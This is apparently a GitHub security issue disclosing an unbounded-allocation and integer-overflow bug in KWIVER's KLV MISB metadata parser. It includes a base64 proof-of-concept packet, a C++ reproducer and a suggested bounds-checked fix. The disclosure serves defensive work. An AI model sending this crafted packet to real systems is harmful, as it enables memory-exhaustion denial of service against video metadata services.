Skip to content

Unbounded allocation + integer overflow in ST1303 MDAP dimensions (arrows/klv) #1844

Description

@pventuzelo

ST1303 MDAP (dimensions) — unbounded allocation + integer overflow

Project: KWIVER — arrows/klv (KLV / MISB motion-imagery metadata parser)
Affected version: master @ af3554f1f (v1.8.0-1260-gaf3554f1f) — current tip
Severity: Medium (OOM DoS + size_t multiplication overflow)
Location: arrows/klv/klv_1303.hpp — klv_1303_mdap_format<…>::read_typed
Entry point: kwiver::arrows::klv::klv_read_packet() on untrusted KLV bytes
(e.g. metadata embedded in a MISB motion-imagery stream) — no authentication or
special state required.
Detection: AddressSanitizer

Description

Two attacker-controlled quantities drive allocation with no upper bound:

  • dimension count: result.sizes.resize(klv_read_ber_oid<size_t>(…));
  • element count: length_of_array = Π sizes[i], computed with
    std::multiplies<size_t> (can wrap size_t), then used in
    result.elements.reserve(length_of_array).

Impact: a few input bytes can request a multi-gigabyte/petabyte allocation
(OOM DoS), or wrap the product to a small value feeding downstream overflows.

The reader helpers (klv_read_int, klv_read_imap, klv_read_string) do no
buffer-bounds check — they trust the caller to pass a valid length. The safe
pattern used elsewhere in the codebase is tracker.verify(n), which returns n
if n bytes remain in the field and otherwise throws metadata_buffer_overflow.

Proof of concept

Raw KLV packet (261 bytes), base64 — decode with base64 -d:

/wAAADQATgAACAACAGpqampqampqampqampqampqampqampqBgAAAAAGDis0AgsBAQ4DAQMiAAAA
BjUAMgIAAAAABg4rNAIFAAAAAAAAAAAAADIEDv//////////////////////////////////////
//////8DAgEDB/+/AAQLAQUOAQAAAP8BAyIAAAAGNQAyAgAAAAAGDis0AgsBAQ4BAwMBAAAAMgQO
////////LP///////////////////////////////////wMCAQMHAkAA6enp6QQLAQUOAQD/////
//8OAAf/vwAECwEFDgEAAAD/AQMiAAAABjUAMgYAAAAA

Reproduction

No fuzzing engine or custom harness required — only the public KLV API and an
AddressSanitizer build of kwiver_algo_klv:

base64 -d poc.b64 > poc.klv          # poc.b64 = the base64 block above
ASAN_OPTIONS=detect_leaks=0 ./repro_klv poc.klv

→ AddressSanitizer: requested allocation size … exceeds maximum supported size in vector::resize/reserve.

Standalone reproducer — repro_klv.cxx (public KLV API only, no fuzzer)
#include <arrows/klv/klv_packet.h>
#include <cstdint>
#include <cstdio>
#include <fstream>
#include <vector>
using namespace kwiver::arrows::klv;

int main( int argc, char** argv )
{
  std::ifstream in( argv[1], std::ios::binary );
  std::vector< uint8_t > buf( ( std::istreambuf_iterator< char >( in ) ),
                              std::istreambuf_iterator< char >() );
  klv_read_iter_t it = buf.data();
  klv_read_iter_t const end = buf.data() + buf.size();
  while( it < end ) {                       // consume as a KLV stream
    klv_read_iter_t const before = it;
    try { (void) klv_read_packet( it, static_cast< size_t >( end - it ) ); }
    catch( std::exception const& e ) { std::printf( "rejected: %s\n", e.what() ); break; }
    if( it <= before ) break;
  }
  return 0;
}

Build against an AddressSanitizer build of kwiver_algo_klv:

clang++ -std=c++17 -g -fsanitize=address repro_klv.cxx \
  -I<kwiver_src> -I<kwiver_build> \
  -L<kwiver_build>/lib -lkwiver_algo_klv -lvital -lvital_logger \
     -lvital_exceptions -lvital_util -lvital_config -lvital_types \
  -Wl,-rpath,<kwiver_build>/lib -o repro_klv

Suggested fix

Reject a dimension count larger than the bytes remaining; replace the unchecked
product with an overflow-checked running product capped at a generous absolute
maximum (legitimate RLE arrays can exceed their encoded byte length, so the cap
cannot be the remaining byte count):

constexpr size_t max_elements = size_t{ 1 } << 24;  // 16M
// ... per dimension:
if( size > max_elements || length_of_array > max_elements / size )
  VITAL_THROW( kv::metadata_exception, "MDAP: array element count exceeds maximum." );
length_of_array *= size;

Reported by patrick@fuzzinglabs.com (FuzzingLabs). Reproduced on master
(af3554f1f); the fix above was verified to eliminate the AddressSanitizer
error.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions